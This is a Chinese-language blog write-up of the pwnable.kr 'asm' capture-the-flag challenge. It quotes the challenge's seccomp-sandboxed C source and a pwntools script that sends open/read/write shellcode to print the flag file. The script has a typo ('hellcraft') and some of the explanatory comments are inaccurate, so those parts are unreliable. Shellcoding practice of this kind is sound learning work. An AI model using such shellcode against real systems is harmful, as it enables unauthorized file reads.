asm - pwnable

asm - pwnable

题目

Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

readme文件给出提示:

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

大概就是说程序运行在服务器的9026端口,完成挑战就会获得flag,flag所在的文件名和本地的一样(this_is_pwnable.ke…)。


直接运行程序asm,要求输入一个shellcode

[外链图片转存失败(img-3ZvLVus0-1568909133422)(https://i.loli.net/2019/09/18/AjKX5lPuEFbCg72.png)]

猜想应该是输入一个shellcode,然后cat flag_filename,查看flag。

分析一波源码吧~

分析

源码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

程序的大概运行思路:

0x41414000申请一个0x1000大小的内存空间sh,然后将sh当前位置开始的0x1000用0x90替换,将stub复制到sh中。然后从命令中读入最长1000字节存储在sh内存stub后面。54行chroot切换用户为asm_pwn,接着运行沙箱。沙箱里仅可以运行open、read、write、exit、exit_group函数。然后应该是调用存储在sh的命令???(个人猜测)


结合题目提示,我们大概利用思路是:用仅剩的open、read、write等几个函数读取到flag,然后将利用代码写入到sh中,让程序运行。

我们来看open是打开一个文件,将文件内容写入寄存器中。read可以用来读取寄存器或者命令行输入信息,然后存入指定地方。write自然就是写入信息。

那这里我们能够使用的函数既没有printf、puts这种输出函数,也没有cat能够查看文件内容,我们怎么将flag里面内容显示出来。

这里就用到前面做的遇到过的标准化输出(stdout),我们将flag内容写到标准化输出,就会显示出来。

这么就直接上脚本,脚本上有注释:

# coding:utf-8
from pwn import *

# 建立ssh链接,因为程序运行在服务器的9026端口
con = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
# 加载在9026端口的程序
p = con.connect_remote('localhost',9026)
# 设置context中的log_level、os、arch(处理器)
context(log_level='debug',os='linux',arch='amd64')

# 构建shellcode,就是存放在sh中,可被执行的代码
# 利用shellcraft构建open函数打开filename
shellcode = hellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
# 构建read函数,open函数打开读取后放在寄存器rax中
shellcode += shellcraft.read('rax','rsp',100)
# 将rsp写入到标准输入中
shellcode += shellcraft.write(1,'rsp',100)

p.recv()
# shellcode需要用asm转一下变成汇编语言
p.send(asm(shellcode))
# flag
p.recvline()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值